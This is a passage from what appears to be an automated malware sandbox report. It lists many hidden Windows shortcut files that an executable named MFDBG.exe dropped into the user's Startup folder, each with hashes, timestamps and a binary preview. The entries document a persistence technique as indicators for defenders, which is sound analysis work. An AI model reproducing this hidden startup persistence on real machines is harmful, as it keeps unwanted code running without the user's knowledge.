Preview:	L..................F...."...]W%.{...R...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....(..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5df9c8f4299a405196f23ef28bdc350f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935998479265374
Encrypted:	false
SSDEEP:	24:82hBfw8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8c90R6rMhpBoUBxdRd1nYyg
MD5:	C23D3E6BF9D0CC6E8FC727A9EE5E2BA7
SHA1:	A935962329033C65BB2ED02C5E4B2713901467AF
SHA-256:	FEBCA85AE912EB4457969DF93C5B10864AA68ED1766DD48D2F538E2A7681722C
SHA-512:	A21C1C92032BA230EAAD90350B9FA958C4CF834E27F556D302812CAB828259201027CD86959173BF0627DB3650601CA0BB6D647E1F1203B7AF63B128CA93F968
Malicious:	false
Preview:	L..................F...."...]W%.{.....o.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....Vc.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5e263a1b00b94022b8fa4bdf385664b2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:56 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941935814129831
Encrypted:	false
SSDEEP:	24:8whBf08iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8iZ0R6rMhpBoUBxdRd1nYyg
MD5:	784E1593AE5F854DC145ACBCA979BEE4
SHA1:	857F0143A86EA7EBB22DA45EE99F6FBA8D4DCC55
SHA-256:	79F81C2824945E2CDB12E39926D59E7174C9CDC52F5A816146F7578D83D3B13A
SHA-512:	F85C867965F6B10F47BEDF8FB004640EC2B88C750791E70CB44E6C96AFFFEFA8A56182FB048D095469E9CF3EC8A1C3EF1D6D705DE6227B81B956AE6E985C5913
Malicious:	false
Preview:	L..................F...."...]W%.{..."...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5e3cad065ecc4bc889594baa48ab907c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935106000738133
Encrypted:	false
SSDEEP:	24:8RGhBfR8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8RM+0R6rMhpBoUBxdRd1nYyg
MD5:	125D7804DA51FC3EE4692DAB48000BE1
SHA1:	7BE2C8E0019E414FA2B4FFF02005FC6C0223930D
SHA-256:	7020003E70C0E1615BBBEC13B27573A19AF67EEEEA561D3CF9559939A980204D
SHA-512:	329456F8397C587E186140C64DAC51E03E28A064B1B624AF484A7441CA1522776ADEA7C456AF71906E9FC534BF70C760EA71AF9468739B6D0A0BFD53967BB9DC
Malicious:	false
Preview:	L..................F...."...]W%.{....Ih.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....]\.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5ea9dd2aefed4d1bade39ce4a8fb63ec.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:11 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940173699592387
Encrypted:	false
SSDEEP:	24:8zhBf58iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8H20R6rMhpBoUBxdRd1nYyg
MD5:	A6C324C1B60A74269386EF225322F4A3
SHA1:	8576F89AF231D5D123688D3F3D87269A1EADCBDD
SHA-256:	48535EF010987F2337A23E237DA1845979D18BF9951CC561F20B0E560BA89B42
SHA-512:	F51C477A56931B2E4D64AC45D2945E663B911EFE080FF7DE53B86C8B0503F670FE8DFBEB3DBA8DC7AC78E1EEF50CE66A70849836E94D13895242C6B08AF7E583
Malicious:	false
Preview:	L..................F...."...]W%.{...J..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...._.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5f053207bd3a4c2ba5ad38df43ea9c3f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93112617871871
Encrypted:	false
SSDEEP:	24:8dhBfq8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8dv0R6rMhpBoUBxdRd1nYyg
MD5:	EF0EAEB05246A3599FE6F4A424DAE520
SHA1:	CC0D3E5AB244D7338512215C1387E7289E9CFBD5
SHA-256:	4DDE30F3CF63CB2D58E7053CA30A2BEE1B490685190290D721D139671CFB5B9B
SHA-512:	1BC28348D5C29EA57D42035601F125BCDD01494AC32E31A096FC7E5FBC0F8B4818DEAC19B171F26F43E929ECA0A0635375868A7DE97E0F4B26725CFE58D4733B
Malicious:	false
Preview:	L..................F...."...]W%.{....K@.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....E.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5f89e12ce8ff4502adb6862af8378140.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:29 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93377623269473
Encrypted:	false
SSDEEP:	24:8rhBfZ8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8PG0R6rMhpBoUBxdRd1nYyg
MD5:	7637884D3AE5E826874969A457822046
SHA1:	5A3B93C6D30952668FFD023DE86B3B22FC593D8E
SHA-256:	806A752D37AE60EE35AEFA036354A82286918A1C09C74F6C3708E60B3609E4EA
SHA-512:	C7A2BF399697B02F15AB3D0D0151B6E5E92ADCDED3607031957375959C675071F4D7FADA48DB86360AD606523E197A348670F0156958145480B0C5FA1A6AC1D6
Malicious:	false
Preview:	L..................F...."...]W%.{.....?.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....0.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5fbb3f9c0a9149ac9bb015539e777abb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937658498735761
Encrypted:	false
SSDEEP:	24:8jhBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8XR0R6rMhpBoUBxdRd1nYyg
MD5:	11685BA17B9D8C598C5A95EE0285D8C2
SHA1:	26068EE6F4945FEBC713ABF89A8899C76D36F530
SHA-256:	E466D789176D5E6622F95F2A4C8DB5A0098FEAFD01074F6EF06C4F20E803AEA5
SHA-512:	799012E59623E1C5FB04406D2623458B317B5496A241B8C05FC7716D110A1B7F45A3CF0C2797726A5BCA7B7F34B61DEBDC866FAE5C435BC3BFB028BC4C925921
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5fc43c5d0d6440f192c143f917d16b4a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:10 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933254240164353
Encrypted:	false
SSDEEP:	24:8M2hBfD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8bI0R6rMhpBoUBxdRd1nYyg
MD5:	E8A65E2D7D181E57D590C6BACE483494
SHA1:	0FC9205532F5298B5DCA8E0BFEBAEBED6D33DEA7
SHA-256:	3F8BE1B07C9EC280E200F66DC3BD4F539399D2E9DF93ECDDA7ACED82BE5E8A98
SHA-512:	8059C0377078F9E5EFE0FA91AE0B453E43CE5028EEA788375A49BB4664DCCFC9486C968AFB56752A3C882B23BCE3F71A4672C690384A12C28B6489BF6C683810
Malicious:	false
Preview:	L..................F...."...]W%.{..._...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....a.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6017a61f4fdf4ff5bdf2008acf6758c0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934310244057539
Encrypted:	false
SSDEEP:	24:81hBfW8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8lD0R6rMhpBoUBxdRd1nYyg
MD5:	E20364B20202A5A04737656C7A105ECB
SHA1:	FDEEDF9CD011B8E64F13695690F4B108CDA04A25
SHA-256:	DD5328CE7DEEEACFDDD77D592DE46D38BD7F1C170ECDD5EA4F15CAAFF47B7487
SHA-512:	8827B98BE78F88DAE6A419E9AC702A5AF5003874640D281F4FBA04EEDFB1B733087E4F1A19C34EA426E731D63BE4F98D0596F3FAB06C8843F1D699FBB08B28ED
Malicious:	false
Preview:	L..................F...."...]W%.{....d..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...C...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_609f085ce47c4b7696ec38c2785c09b0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94320078424717
Encrypted:	false
SSDEEP:	24:8BhBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8xy0R6rMhpBoUBxdRd1nYyg
MD5:	DD02D1D64C3E87CEA9E30D335859D99A
SHA1:	068D180D322AD731239B3F1393E2FE68CAEE234F
SHA-256:	3C709E783C84B0C21414778E040889AA822583E008DE488AD100082FF516439F
SHA-512:	CD74A565188F9E610260655DDE2DB3BF6B983751F52A3C2732FE67FF5A20164A40E3089E7C5E5D6CC7DAD3147D0DD34FC13C2C44231F1362065DD5D1BBD9AE4E
Malicious:	false
Preview:	L..................F...."...]W%.{...(...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_60a2883c3af1453ba912c29e1ca9d9cc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:40 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9350897600352495
Encrypted:	false
SSDEEP:	24:8AhBfo8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8SV0R6rMhpBoUBxdRd1nYyg
MD5:	8822CBE3E7BBD2A627B6B71E08F1AC98
SHA1:	7DBC54072C7D9648AC49C77E3299222F7EF6761F
SHA-256:	EB168799DBC99BE0AE65A0854BA5FFE9AB5449F00E099932D5207722DB381690
SHA-512:	19D43397C1E1F8437DE4B6C285BC840678B2ADCFEEB6DFEEB8A6B7AE813C156361C00E65ECCF202BD908C1EFA98FB34534B8E0F855E17FADB0626513C41E8145
Malicious:	false
Preview:	L..................F...."...]W%.{...VU..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...2...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_612b99da5e0a4e3a9051d125b0007791.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939457480215905
Encrypted:	false
SSDEEP:	24:8rhBfr48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8PJ0R6rMhpBoUBxdRd1nYyg
MD5:	60E2812C355037703ADE33A1874BEE23
SHA1:	EDA4891EF67D745EDC771D91EE48F80312078A2C
SHA-256:	5B6565416DEE6D7455641C156A6C3E9EFBB9755594CF5EFB225E1ECBF4603E3F
SHA-512:	692F909BAE34839179B7B1611A797BFEE7F48F9FD07562B4C88B3C18B744AE0E5AEC025CD86DD78F87E4248FD492C99361D4BD1774D72374CB87CE8B4E9F909C
Malicious:	false
Preview:	L..................F...."...]W%.{....:..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_61462c6b90ea455fb0cb9eebf6fcede5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940341654293129
Encrypted:	false
SSDEEP:	24:8OhBfsA8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8EE10R6rMhpBoUBxdRd1nYyg
MD5:	4D46F99D02FEA61F9E854B8CEE910715
SHA1:	54D32E3007B46EB9EDCF1EFEB4010C7D7BE136FB
SHA-256:	326C905589A0F42CE91B2E39CB2F0E673EC040B927A4E421D4D42CBC52D7040A
SHA-512:	60719D60AB7AA7CEE32B1F6F7CF2A1925AE95BDD3FDFD67CE5BABEDB24EEB35C6707AF4744F78A5DD3A55EF1D09C58850624164BA600D5891ED6A4D9C053B7A5
Malicious:	false
